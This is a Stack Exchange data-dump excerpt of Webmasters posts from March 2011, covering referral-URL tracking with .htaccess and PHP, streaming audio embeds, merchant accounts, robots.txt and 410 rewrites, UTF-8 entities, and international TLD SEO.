  <row Id="23961" PostHistoryTypeId="2" PostId="10685" RevisionGUID="ffe0bf62-58d5-4cbe-8d40-40b8cf66408f" CreationDate="2011-03-15T03:05:57.910" UserId="6044" Text="Users on my site are given unique URL's for me to then track how many people they have referred to my site.&#xD;&#xA;&#xD;&#xA;ie: http://www.example.com/FQ3DL (FQ3DL being the unique code/url)&#xD;&#xA;&#xD;&#xA;The first thing I'd like to do is when a user goes to that link, it displays the homepage http://www.example.com/ rather than a 404 error&#xD;&#xA;&#xD;&#xA;The second thing is, how would I track how many people have visited that URL? Only through Google analytics or is there another way to manage it?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="23962" PostHistoryTypeId="1" PostId="10685" RevisionGUID="ffe0bf62-58d5-4cbe-8d40-40b8cf66408f" CreationDate="2011-03-15T03:05:57.910" UserId="6044" Text="Tracking based on URL referral?" />
  <row Id="23963" PostHistoryTypeId="3" PostId="10685" RevisionGUID="ffe0bf62-58d5-4cbe-8d40-40b8cf66408f" CreationDate="2011-03-15T03:05:57.910" UserId="6044" Text="&lt;url&gt;&lt;redirects&gt;&lt;referrer&gt;" />
  <row Id="23964" PostHistoryTypeId="17" PostId="10687" RevisionGUID="afd22740-0857-470c-b270-aef04ab7454d" CreationDate="2011-03-15T04:18:02.250" UserId="-1" Comment="from http://stackoverflow.com/questions/5298347/embed-audio-broadcasting-on-web-page/5299632#5299632" Text="" />
  <row Id="23965" PostHistoryTypeId="2" PostId="10687" RevisionGUID="c3a6a4ad-076d-4dba-9780-66000c30688d" CreationDate="2011-03-14T14:03:37.713" UserId="2466" Text="This is quite straightforward actually.  I think if you search around for &quot;SHOUTcast&quot; instead, you will find a lot more out there.&#xD;&#xA;&#xD;&#xA;SHOUTcast/IceCast use a protocol that is (nearly) compatible with HTTP.  Therefore, (most) any player that can play MP3 streaming over HTTP is capable of playing a SHOUTcast compatible stream.&#xD;&#xA;&#xD;&#xA;You will find that there are many [Flash players for this sort of thing][1].&#xD;&#xA;&#xD;&#xA;One thing I should point out though.  If you are using Flash, use a Flash player that is actually designed to work with internet radio.  The reason for this is that older versions of Flash would download all of the audio into memory for playing back later.  This was because they were originally designed for a minute or two of looping background music for some game, and it would save it in memory to be played again.  With Internet Radio, we of course won't be playing the start of the program again, and want to discard that.  With ActionScript 3 and later (and with some hacks in AS2), this is possible, and many of the players now take advantage of the stream-it-and-forget-it methods.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wavestreaming.com/servers/flash-streaming/shoutcast-player.php" />
  <row Id="23966" PostHistoryTypeId="2" PostId="10686" RevisionGUID="ee8a4ad4-68b8-49f5-9459-3c491bb53b56" CreationDate="2011-03-14T12:08:04.087" UserDisplayName="giargo" Text="I'd like to embed simple audio player on my webpage and I want it to get the audio from a stream broadcasted from my server.&#xD;&#xA;I read I can use IceCast on my web-server, getting an audio stream from a client using IceS (or this is what i got from other questions and articles) but once I have my stream, IceCast is supposed to broadcast it on an URL, that can be opened from pkayers like winamp or similar.&#xD;&#xA;I've found out this is quite a rare topic, usually people just want to broadcast &quot;radio&quot; where files are taken from a static playlist.&#xD;&#xA;In this case I have to get a stream from an IceCast URL and embed it with a player on a web page.&#xD;&#xA;Thank." />
  <row Id="23967" PostHistoryTypeId="1" PostId="10686" RevisionGUID="ee8a4ad4-68b8-49f5-9459-3c491bb53b56" CreationDate="2011-03-14T12:08:04.087" UserDisplayName="giargo" Text="Embed audio broadcasting on web page" />
  <row Id="23968" PostHistoryTypeId="3" PostId="10686" RevisionGUID="ee8a4ad4-68b8-49f5-9459-3c491bb53b56" CreationDate="2011-03-14T12:08:04.087" UserDisplayName="giargo" Text="&lt;audio&gt;&lt;embed&gt;" />
  <row Id="23969" PostHistoryTypeId="17" PostId="10686" RevisionGUID="459fa1f3-76dd-4a25-a144-60bdda6bbb12" CreationDate="2011-03-15T04:18:02.250" UserId="-1" Comment="from http://stackoverflow.com/questions/5298347/embed-audio-broadcasting-on-web-page" Text="" />
  <row Id="23970" PostHistoryTypeId="5" PostId="10614" RevisionGUID="83cae0fb-873b-43d0-b657-3e4e921de269" CreationDate="2011-03-15T05:25:23.057" UserId="5794" Comment="added 64 characters in body" Text="If a website works in Firefox 4 and in Google Chrome 10, what could potentially cause that website *not to work* (broken layout or broken JavaScript) in IE9? What limitations and differences does IE9 have, aside from vendor-specific stylesheet rules?&#xD;&#xA;&#xD;&#xA;*Yes, that is a painfully vague question* — that's because I am not asking this question from the perspective of someone with a specific problem! I'm asking this question from the perspective of someone with a working website who does not have access to IE9. &#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;I `+1`ed everyone. Thanks for the great answers!" />
  <row Id="23971" PostHistoryTypeId="25" PostId="10685" RevisionGUID="abd3b75a-3b8f-477e-9d67-fcd39bf8f912" CreationDate="2011-03-15T05:30:17.700" Comment="http://twitter.com/#!/StackWebmasters/status/47530033237078016" />
  <row Id="23972" PostHistoryTypeId="2" PostId="10688" RevisionGUID="1fdf5d78-f0f5-41bc-af8a-cb8d53d343ae" CreationDate="2011-03-15T05:34:39.760" UserId="6087" Text="I'm having trouble getting approved for a merchant account for my website.&#xD;&#xA;Basically I have expert users and users.&#xD;&#xA;Expert users provide a service through my website which they set their own rates.&#xD;&#xA;Users purchase the services, then pay me, I give 90% to the expert users.&#xD;&#xA;&#xD;&#xA;I have been told this is factoring..&#xD;&#xA;&#xD;&#xA;Is the way around this, a system like freelancer.com does? &#xD;&#xA;Where users deposit money into their freelancer account, then pay for the services they won? What are the negatives to this system?&#xD;&#xA;&#xD;&#xA;What about sites like 99designs? They accept CC payments and then pay the winning designer. How are some sites doing this but I'm having so much trouble getting approved?" />
  <row Id="23973" PostHistoryTypeId="1" PostId="10688" RevisionGUID="1fdf5d78-f0f5-41bc-af8a-cb8d53d343ae" CreationDate="2011-03-15T05:34:39.760" UserId="6087" Text="How do I get Paypal or a merchant account for a marketplace style web site?" />
  <row Id="23974" PostHistoryTypeId="3" PostId="10688" RevisionGUID="1fdf5d78-f0f5-41bc-af8a-cb8d53d343ae" CreationDate="2011-03-15T05:34:39.760" UserId="6087" Text="&lt;payments&gt;" />
  <row Id="23980" PostHistoryTypeId="2" PostId="10691" RevisionGUID="86dce045-7ede-46d7-987c-773f60467526" CreationDate="2011-03-15T08:57:22.860" UserId="5322" Text="I would probably write the code myself to track them. Although perhaps it would be easier trying to hook it into analytics. I'm not sure how to do that.&#xD;&#xA;&#xD;&#xA;To do the re-direct you would want to use .htaccess (providing you're using Apache server)&#xD;&#xA;The .htacess file might look something like this:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^([A-Z0-9]{5})$ track.php?id=$1 [L]&#xD;&#xA;&#xD;&#xA;The RewriteRule there will match someone going to example.com/HJK7D Basically example.com/ and any combination of 5 capital letters and or numbers. This will get re-written and the server will actually pull up track.php?id=HJK7D (in this case)&#xD;&#xA;&#xD;&#xA;So drop that .htaccess into the main root directory of your website. Then create a file called track.php which might look something like this:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    	if(isset($_GET['id'] &amp;&amp; strlen($_GET['id'])==5){&#xD;&#xA;    		setcookie(&quot;id&quot;, $_GET['id'], time()+1209600); // expires in 2 weeks&#xD;&#xA;    	}&#xD;&#xA;    	&#xD;&#xA;    	header(&quot;HTTP/1.1 301 Moved Permanently&quot;);&#xD;&#xA;    	header(&quot;Location: http://www.example.com/&quot;);&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;Then use the cookie `$_COOKIE['id']` to track your visitor through your site." />
  <row Id="23981" PostHistoryTypeId="17" PostId="10693" RevisionGUID="51df980b-09c3-4dab-b572-9dfffc77c6f1" CreationDate="2011-03-15T10:27:07.043" UserId="-1" Comment="from http://stackoverflow.com/questions/5308253/different-robots-txt-for-two-different-domains-point-to-same-folder/5308486#5308486" Text="" />
  <row Id="23982" PostHistoryTypeId="2" PostId="10693" RevisionGUID="2515ed4c-6d67-42d3-8a52-f350b06ef4d8" CreationDate="2011-03-15T07:04:08.853" UserDisplayName="killer_PL" Text="Remeber that no one from internet can see your directory tree, so stackoverflow.com/ and test.stackoverflow.com are completely diffrent sites for us and search robots.&#xD;&#xA;You can do that by checing http host in query.&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^test&#xD;&#xA;    RewriteRule robots.txt someotherrobots.txt" />
  <row Id="23983" PostHistoryTypeId="2" PostId="10692" RevisionGUID="7688927b-9933-4092-957b-77c43ecaded6" CreationDate="2011-03-15T06:29:29.523" UserId="4089" Text="I have the following two domains:&#xD;&#xA;&#xD;&#xA;&gt; domain.com&#xD;&#xA;&#xD;&#xA;&gt; test.domain.com&#xD;&#xA;&#xD;&#xA;Both point to same folder which is &quot;public_html&quot;. What I want is a different robots.txt file for each domain. So when someone browse domain.com/robots.txt then a different file is shown. And when someone go to test.domain.com/robots.txt then a different file is shown. How can I do this using URL rewriting in .htacces?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="23984" PostHistoryTypeId="1" PostId="10692" RevisionGUID="7688927b-9933-4092-957b-77c43ecaded6" CreationDate="2011-03-15T06:29:29.523" UserId="4089" Text="Different robots.txt for two different domains point to same folder" />
  <row Id="23985" PostHistoryTypeId="3" PostId="10692" RevisionGUID="7688927b-9933-4092-957b-77c43ecaded6" CreationDate="2011-03-15T06:29:29.523" UserId="4089" Text="&lt;url-rewriting&gt;&lt;domains&gt;&lt;robots.txt&gt;" />
  <row Id="23986" PostHistoryTypeId="17" PostId="10692" RevisionGUID="2bd67a88-07a1-4253-bd84-b3114a3ffdf3" CreationDate="2011-03-15T10:27:07.043" UserId="-1" Comment="from http://stackoverflow.com/questions/5308253/different-robots-txt-for-two-different-domains-point-to-same-folder" Text="" />
  <row Id="23987" PostHistoryTypeId="2" PostId="10694" RevisionGUID="bbf1741b-1159-4400-b8a2-76c0a8ef170a" CreationDate="2011-03-15T10:56:05.463" UserId="3321" Text="Are there any javascript geomaps like this one (which is in flash)? http://code.google.com/apis/visualization/documentation/gallery/geomap.html&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="23988" PostHistoryTypeId="1" PostId="10694" RevisionGUID="bbf1741b-1159-4400-b8a2-76c0a8ef170a" CreationDate="2011-03-15T10:56:05.463" UserId="3321" Text="Javascript Geomap?" />
  <row Id="23989" PostHistoryTypeId="3" PostId="10694" RevisionGUID="bbf1741b-1159-4400-b8a2-76c0a8ef170a" CreationDate="2011-03-15T10:56:05.463" UserId="3321" Text="&lt;map&gt;" />
  <row Id="23993" PostHistoryTypeId="2" PostId="10696" RevisionGUID="cbdd0fd2-957c-424a-995a-b8fe921550a1" CreationDate="2011-03-15T11:05:54.293" UserId="6093" Text="www.designonclick.com is always an option. " />
  <row Id="23996" PostHistoryTypeId="5" PostId="9896" RevisionGUID="de60e637-4732-463b-a397-36bb61007289" CreationDate="2011-03-15T11:30:59.350" UserId="5739" Comment="EDIT: Added new link to todays post on Smashing Magazine" Text="Try baselining your text. This will give it a really nice vertical rhythm which, in conjunction with the grid system, should give you pretty much what you are looking for.&#xD;&#xA;&#xD;&#xA;Here are a couple of links to get you started:&#xD;&#xA;&#xD;&#xA;http://baselinecss.com/&#xD;&#xA;http://www.smashingmagazine.com/2009/04/03/8-simple-ways-to-improve-typography-in-your-designs/&#xD;&#xA;http://www.smashingmagazine.com/2008/04/23/5-principles-and-ideas-of-setting-type-on-the-web/&#xD;&#xA;&#xD;&#xA;**Just as an update:** Smashing Magazine have [a post containing a lot of information on Typography on the web][1] and there is info there about [Vertical rhythm and baseline grids][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2011/03/14/technical-web-typography-guidelines-and-techniques/&#xD;&#xA;  [2]: http://www.smashingmagazine.com/2011/03/14/technical-web-typography-guidelines-and-techniques/#tt-rhythm" />
  <row Id="23997" PostHistoryTypeId="2" PostId="10698" RevisionGUID="313a4e18-2a8b-48d2-b278-9eccbd74f576" CreationDate="2011-03-15T11:32:05.643" UserId="6091" Text="As in the subject-line. Saw the situation the other day on a page which felt weird to me. Except for markup-delimiting characters such as pointy brackets or the ampersand, escaping, say, German umlauts shouldn't be necessary, should it?&#xD;&#xA;&#xD;&#xA;Checked the encoding server-side, in-page and by way of HTTP headers, looks completely UTF-8 to me.&#xD;&#xA;&#xD;&#xA;What's your take on this and do you reckon it could adversely affect SEO or SERP placement?the page " />
  <row Id="23998" PostHistoryTypeId="1" PostId="10698" RevisionGUID="313a4e18-2a8b-48d2-b278-9eccbd74f576" CreationDate="2011-03-15T11:32:05.643" UserId="6091" Text="Is using HTML entities (for language-specific characters) in UTF-8 necessary?" />
  <row Id="23999" PostHistoryTypeId="3" PostId="10698" RevisionGUID="313a4e18-2a8b-48d2-b278-9eccbd74f576" CreationDate="2011-03-15T11:32:05.643" UserId="6091" Text="&lt;html&gt;" />
  <row Id="24003" PostHistoryTypeId="2" PostId="10699" RevisionGUID="7e6fdeda-f6f8-4a7e-a72e-2807a53672c6" CreationDate="2011-03-15T11:41:28.853" UserId="1253" Text="If you're in the US you can safely rule out using a true merchant account for this as no merchant account provider will touch this as it is factoring and is a huge no-no. This means you will be left with third party providers as your only options. This means higher fees and less flexibility but at least it becomes an option for you. I'm pretty sure SitePoint, who runs 99designs, uses Worldpay as their payment provider. I wouldn't be surprised if they have to have a large reserve to cover Worldpay if they suddenly get lots of chargebacks." />
  <row Id="24004" PostHistoryTypeId="5" PostId="5189" RevisionGUID="f6110d39-2501-4b8f-b5b3-254375187c0a" CreationDate="2011-03-15T11:44:39.660" UserId="4780" Comment="Grammar fixes" Text="No it won't affect your traffic. &#xD;&#xA;&#xD;&#xA;But it is always a better option to have your blog as part of your overall domain not as a sub domain or its own domain, as the blog is going to have regular updated content which improves the domain rating and also the blog is more likely to have people link to it. Which again helps improve your domain's authority and will mean the rest of the site ranks higher. &#xD;&#xA;&#xD;&#xA;Here is a [more in-depth review](http://www.chrisg.com/where-should-your-blog-live-integrated-subdirectory-domain-or-subdomain/)." />
  <row Id="24005" PostHistoryTypeId="24" PostId="5189" RevisionGUID="f6110d39-2501-4b8f-b5b3-254375187c0a" CreationDate="2011-03-15T11:44:39.660" Comment="Proposed by 4780 approved by 1253 edit id of 66" />
  <row Id="24006" PostHistoryTypeId="2" PostId="10700" RevisionGUID="429a4b56-89d9-45ff-9f9b-8be15e2d2e2d" CreationDate="2011-03-15T11:47:03.120" UserId="6094" Text="Our site shut down and we need to give a 410 redirect to the users. We have a small one-page replacement site set up in the same domain and a custom 410 error page. We'd like to have it so that all page views are responded with 410 and redirected to the error page, except for the front page, which should point to the new index.html.&#xD;&#xA;&#xD;&#xA;Here's what in the .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule !^index\.html$ index.html [L,R=410]&#xD;&#xA;&#xD;&#xA;This works, except for one thing: **If I type the domain name, I get the 410 page**.&#xD;&#xA;&#xD;&#xA;With www.example.com/index.html I see the index page as I should, but just www.example.com gets 410. How could I fix this?&#xD;&#xA;" />
  <row Id="24007" PostHistoryTypeId="1" PostId="10700" RevisionGUID="429a4b56-89d9-45ff-9f9b-8be15e2d2e2d" CreationDate="2011-03-15T11:47:03.120" UserId="6094" Text="How can I redirect everything but the index as 410?" />
  <row Id="24008" PostHistoryTypeId="3" PostId="10700" RevisionGUID="429a4b56-89d9-45ff-9f9b-8be15e2d2e2d" CreationDate="2011-03-15T11:47:03.120" UserId="6094" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;redirects&gt;&lt;mod-rewrite&gt;" />
  <row Id="24009" PostHistoryTypeId="2" PostId="10701" RevisionGUID="fffe7eb7-df9b-47f2-a6c2-b272149f97ba" CreationDate="2011-03-15T11:54:48.213" UserId="1253" Text="Create a page called maintenance.html (or whatever file extension necessary for your server side language of choice) and then use this code:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;     RewriteEngine on&#xD;&#xA;     RewriteCond %{REQUEST_URI} !/maintenance.html$ [NC]&#xD;&#xA;     RewriteCond %{REQUEST_URI} !\.(jpe?g?|png|gif) [NC]&#xD;&#xA;     RewriteRule .* /maintenance.html [R=410,L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;This will always show maintenance.html regardless of which page they request in their browser." />
  <row Id="24010" PostHistoryTypeId="2" PostId="10702" RevisionGUID="59fafd9e-10f7-43c8-8922-76869b71959a" CreationDate="2011-03-15T11:57:23.330" UserId="205" Text="That's why those headers and attributes are there: to specify which character set the page uses.  XML/XHTML documents should have it in the [xml opening tag][1] and HTML documents should have it in the [meta tag][2].  If the page has the proper encoding listed (and the file encoding actually matches) then the search engines should be smart enough to figure it out - after all, they purport to reward standards-compliance and good design (and UTF-8 is broadly accepted).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/xml/xml_encoding.asp&#xD;&#xA;  [2]: http://www.w3.org/TR/html4/charset.html" />
  <row Id="24011" PostHistoryTypeId="2" PostId="10703" RevisionGUID="039657e3-a367-45f8-98fb-6532ef11d838" CreationDate="2011-03-15T11:57:36.027" UserId="4142" Text="You're right, as long as you can ensure that you're using UTF-8 through and through, then you shouldn't need to escape anything but the XML entities that you mentioned (&lt;, &gt;, &amp;).&#xD;&#xA;&#xD;&#xA;I think the reason you see people escaping other characters is because they've become a little *&quot;shell-shocked&quot;* by UTF-8 being converted into another encoding and having all of their beautiful characters transformed into tall rectangles, or diamonds with a question mark in them, which looks about as unprofessional as you can get.&#xD;&#xA;&#xD;&#xA;That only has to happen once or twice in a production environment to make you start reflexively changing everything to HTML entities.&#xD;&#xA;&#xD;&#xA;Combine that with the fact that text editors, scripting languages, and database engines have the capability of changing the text encoding on you... I can't say I blame them too much.&#xD;&#xA;&#xD;&#xA;But, long story short - if you can **guarantee** that you're going to have nothing but UTF-8 from source to served pages, there isn't any technical reason to escape anything." />
  <row Id="24012" PostHistoryTypeId="2" PostId="10704" RevisionGUID="db1efe36-9375-481e-872a-ec6212f73c55" CreationDate="2011-03-15T11:58:34.257" UserId="3467" Text="I currently work at a pretty big website that has visitors from around the globe. My job is to help out on the SEO, and one thing we've been discussing lately is the use of international TLD's. The ones we use range between:&#xD;&#xA;&#xD;&#xA;* (partly) translated websites like .es and .de that serve most of the content in the country's language&#xD;&#xA;* non-translated (english) websites for non-english languages (due to a lack of translations) like .ro and .cz&#xD;&#xA;* english websites for english speaking countries with localized TLD's (.co.nz, .co.uk)&#xD;&#xA;&#xD;&#xA;On one hand I really have the feeling this is causing a lot of duplicate content, especially for the last two categories of TLD's. &#xD;&#xA;&#xD;&#xA;On the other hand though it seems a lot like country-specific TLD's tend to score a lot better in that country's Google. Would it be advisable to keep on using these domains, or should we canonicalize them all to the .com version?" />
  <row Id="24013" PostHistoryTypeId="1" PostId="10704" RevisionGUID="db1efe36-9375-481e-872a-ec6212f73c55" CreationDate="2011-03-15T11:58:34.257" UserId="3467" Text="International TLD's vs. duplicate content" />
  <row Id="24014" PostHistoryTypeId="3" PostId="10704" RevisionGUID="db1efe36-9375-481e-872a-ec6212f73c55" CreationDate="2011-03-15T11:58:34.257" UserId="3467" Text="&lt;seo&gt;&lt;duplicate-content&gt;&lt;tld&gt;" />
  <row Id="24015" PostHistoryTypeId="5" PostId="10699" RevisionGUID="1b36ce26-10c3-45a0-a421-122113684908" CreationDate="2011-03-15T11:59:29.657" UserId="1253" Comment="added 41 characters in body" Text="If you're in the US you can safely rule out using a true merchant account for this as no merchant account provider will touch this as it is factoring and is a huge no-no. This means you will be left with third party providers as your only options. This means higher fees and less flexibility but at least it becomes an option for you. I'm pretty sure SitePoint, who runs 99designs, uses [Worldpay][1] as their payment provider. I wouldn't be surprised if they have to have a large reserve to cover Worldpay if they suddenly get lots of chargebacks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.worldpay.us/" />
  <row Id="24016" PostHistoryTypeId="6" PostId="10698" RevisionGUID="3b920d50-f62d-4be3-915b-9656b93fcc1a" CreationDate="2011-03-15T12:10:48.043" UserId="4142" Comment="Adding the &quot;content-encoding&quot; tag; it could use a little love..." Text="&lt;html&gt;&lt;content-encoding&gt;" />
  <row Id="24017" PostHistoryTypeId="24" PostId="10698" RevisionGUID="3b920d50-f62d-4be3-915b-9656b93fcc1a" CreationDate="2011-03-15T12:10:48.043" Comment="Proposed by 4142 approved by 108 edit id of 67" />
  <row Id="24018" PostHistoryTypeId="2" PostId="10705" RevisionGUID="e50c7c5f-04ff-447e-8679-09d45afb86ae" CreationDate="2011-03-15T12:19:30.460" UserId="1429" Text="I think:&#xD;&#xA;&#xD;&#xA;the translated websites like .es and .de are NOT duplicate content at all if you translate also the part that is not translated yet&#xD;&#xA;&#xD;&#xA;All the others (written in English and therefor I suppose identical) are definitely duplicated contents on different TLDs, so according to Google guidelines they should all be redirected 301 to one single TLD (maybe .com here).&#xD;&#xA;&#xD;&#xA;Another option for the English websites is to **change the contents of the pages** like what this one did:&#xD;&#xA;&#xD;&#xA;http://www.webhostingbuzz.com/&#xD;&#xA;&#xD;&#xA;http://www.webhostingbuzz.co.uk/&#xD;&#xA;&#xD;&#xA;They are offering almost the same services (similar contents), but the websites are DIFFERENT, **what is written is different even if they look similar due to graphic colors**.&#xD;&#xA;&#xD;&#xA;If you are asking me if this can be considered black hat seo I don't know and i wouldn't be so sure to report this on Google Webmaster Spam Report for at leats 2 reasons:&#xD;&#xA;&#xD;&#xA; 1. if you look carefully at their&#xD;&#xA;    websites they are offering less&#xD;&#xA;    services in UK, so it's not differnt contents just because it's written using synonyms, but it's really differnt contents&#xD;&#xA; 2. moreover the co.uk&#xD;&#xA;    site is on a server in Europe which&#xD;&#xA;    make sense because it's faster for&#xD;&#xA;    European to access such a server&#xD;&#xA;    compared to one in US." />
  <row Id="24019" PostHistoryTypeId="2" PostId="10706" RevisionGUID="28441c22-9dfc-48b8-bbee-108a5767037d" CreationDate="2011-03-15T12:59:44.310" UserId="6094" Text="I've been using http://www.templatemo.com/ as a free source for neat, professional-looking HTML templates for small projects." />
  <row Id="24020" PostHistoryTypeId="2" PostId="10707" RevisionGUID="55b106b9-6e14-4e4c-aaa7-9ea4e7317889" CreationDate="2011-03-15T14:01:07.530" UserId="6097" Text="Are there any filters that would make background image to be displayed as black-and-white?&#xD;&#xA;&#xD;&#xA;What I mean, is this: i have a background image set via css using background: url(/image.png);&#xD;&#xA;&#xD;&#xA;But now I need to apply a filter so that an image is shown as black-white only.&#xD;&#xA;Ideally, I would like to also apply opacity to it.&#xD;&#xA;&#xD;&#xA;The effect I really trying to achieve is to have background image black/white and on hover over that span element the filter would be removed, revealing the color version.&#xD;&#xA;&#xD;&#xA;And of cause it has to work in FF, Chrome, IE&#xD;&#xA;&#xD;&#xA;Can someone help me?" />
  <row Id="24021" PostHistoryTypeId="1" PostId="10707" RevisionGUID="55b106b9-6e14-4e4c-aaa7-9ea4e7317889" CreationDate="2011-03-15T14:01:07.530" UserId="6097" Text="How to make background image black-and-white?" />
  <row Id="24022" PostHistoryTypeId="3" PostId="10707" RevisionGUID="55b106b9-6e14-4e4c-aaa7-9ea4e7317889" CreationDate="2011-03-15T14:01:07.530" UserId="6097" Text="&lt;css&gt;&lt;image&gt;" />
  <row Id="24023" PostHistoryTypeId="2" PostId="10708" RevisionGUID="44d28c01-855a-4398-9788-521c7802e6b5" CreationDate="2011-03-15T14:11:11.630" UserId="1583" Text="Have a look at http://www.pixastic.com/lib/" />
  <row Id="24024" PostHistoryTypeId="2" PostId="10709" RevisionGUID="2c9aea73-ba52-485c-9f74-56adaaba0704" CreationDate="2011-03-15T14:24:11.380" UserId="3535" Text="For CSS only, I don't think you could achieve the rollover effect with any type of a filter. You could have 2 versions of the image, one color and one b/w, combine them as one image with each version side by side, and offset the images when the mouse hovers over it, using the a CSS sprites technique...[http://www.alistapart.com/articles/sprites][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/sprites" />
  <row Id="24025" PostHistoryTypeId="25" PostId="10698" RevisionGUID="ff659597-c2a2-4e01-bfe1-3e140f4d25b1" CreationDate="2011-03-15T14:30:19.537" Comment="http://twitter.com/#!/StackWebmasters/status/47665936446136321" />
  <row Id="24026" PostHistoryTypeId="2" PostId="10710" RevisionGUID="a0291cec-adcd-4abf-a956-9bf5849d8a6d" CreationDate="2011-03-15T15:45:24.137" UserId="6099" Text="I don't think CSS was ever really intended for fancy graphical 'filters' though opacity seems to be a useful exception.  Just swap the background image  &#xD;&#xA;&#xD;&#xA;    span:hover {opacity: 1.0 ; background-image:url(someimage.png); } " />
  <row Id="24027" PostHistoryTypeId="2" PostId="10711" RevisionGUID="76debdd2-ff36-4620-ac43-0418f228e6dc" CreationDate="2011-03-15T16:33:43.190" UserId="5906" Text="I am a web developer that is starting to look into hosting his own website. I would like to showcase my programming skills (PHP, MySQl, C#, Wordpress). &#xD;&#xA;&#xD;&#xA;My knowledge of languages I am OK with but the actually hosting site is where my knowledge starts to get a little shaky. I know the basics (bandwidth, sub-domains, re-write rules) but I would love your input, to help me formulate a check list of certain web-hosting services that I should be on the look-out for. &#xD;&#xA;&#xD;&#xA;Also I was wondering if there were any reliable hosting providers who give you the option to host both c# code-behinds and PHP code. As I would like to have two versions of my site, one in C# and one in PHP the hope is that if I need to look for another job this website will help me show possible employers my server side knowledge.&#xD;&#xA;&#xD;&#xA;I hope this is enough info, I did some researching online but found a bunch of unless articles and I've always have had luck on the StackExchange sites. So hopefully you, can help me. &#xD;&#xA;&#xD;&#xA;Thanks alot.&#xD;&#xA;" />
  <row Id="24028" PostHistoryTypeId="1" PostId="10711" RevisionGUID="76debdd2-ff36-4620-ac43-0418f228e6dc" CreationDate="2011-03-15T16:33:43.190" UserId="5906" Text="Web Hosting Checklist" />
  <row Id="24029" PostHistoryTypeId="3" PostId="10711" RevisionGUID="76debdd2-ff36-4620-ac43-0418f228e6dc" CreationDate="2011-03-15T16:33:43.190" UserId="5906" Text="&lt;web-hosting&gt;" />
  <row Id="24030" PostHistoryTypeId="17" PostId="10713" RevisionGUID="5546fab6-bdc9-4382-9d86-8b862a45fd2f" CreationDate="2011-03-15T16:59:04.487" UserId="-1" Comment="from http://stackoverflow.com/questions/5314622/all-the-ips-of-search-engine-bots/5314894#5314894" Text="" />
  <row Id="24031" PostHistoryTypeId="2" PostId="10713" RevisionGUID="62a1c556-6cb7-4ade-b005-c3a5b3780f9b" CreationDate="2011-03-15T16:37:23.467" UserDisplayName="malinois" Text="You should filter search engines by looking for user agents, not by IP." />
  <row Id="24032" PostHistoryTypeId="2" PostId="10712" RevisionGUID="5d499678-5033-446e-8f5c-3a59bb1fc4e0" CreationDate="2011-03-15T16:15:03.193" UserDisplayName="phpheini" Text="if I want to filter out all the search engine bots for example for a script that counts users that are online is there website or a list which is allways up to date and includes the ip addresses of all the bots? Because if I put them into my script manually I will have to change it every day since there are new ips coming.&#xD;&#xA;&#xD;&#xA;Thanks for your help!&#xD;&#xA;" />
  <row Id="24033" PostHistoryTypeId="1" PostId="10712" RevisionGUID="5d499678-5033-446e-8f5c-3a59bb1fc4e0" CreationDate="2011-03-15T16:15:03.193" UserDisplayName="phpheini" Text="All the IPs of search engine bots?" />
  <row Id="24034" PostHistoryTypeId="3" PostId="10712" RevisionGUID="5d499678-5033-446e-8f5c-3a59bb1fc4e0" CreationDate="2011-03-15T16:15:03.193" UserDisplayName="phpheini" Text="&lt;robots&gt;" />
  <row Id="24035" PostHistoryTypeId="17" PostId="10712" RevisionGUID="f2c0ae06-9701-429f-9154-2b3725eebd07" CreationDate="2011-03-15T16:59:04.487" UserId="-1" Comment="from http://stackoverflow.com/questions/5314622/all-the-ips-of-search-engine-bots" Text="" />
  <row Id="24036" PostHistoryTypeId="25" PostId="10707" RevisionGUID="edb4301a-de14-45a7-aa15-c47922703404" CreationDate="2011-03-15T17:30:20.053" Comment="http://twitter.com/#!/StackWebmasters/status/47711237236203520" />
  <row Id="24037" PostHistoryTypeId="2" PostId="10714" RevisionGUID="b947372b-5a17-4a04-8c5d-7e60f12a4662" CreationDate="2011-03-15T17:44:22.647" UserId="5594" Text="site logs is the key.&#xD;&#xA;&#xD;&#xA;After attempting to browse for the css of the site, a log was generated.&#xD;&#xA;&#xD;&#xA;luckily we log local to each site, so within the location for the site's logs was another directory which started with `W3SVC` followed by a number.&#xD;&#xA;&#xD;&#xA;So I tried this number as part of the virtual path `W3SVC\[number]` and my site started serving framework 4.&#xD;&#xA;&#xD;&#xA;I had to go in and make sure it was running the right scripts and pool etc. but the hard part of trying to get my site working on framework 4 without having restart the entire iis server is now possible, which I am glad about.&#xD;&#xA;" />
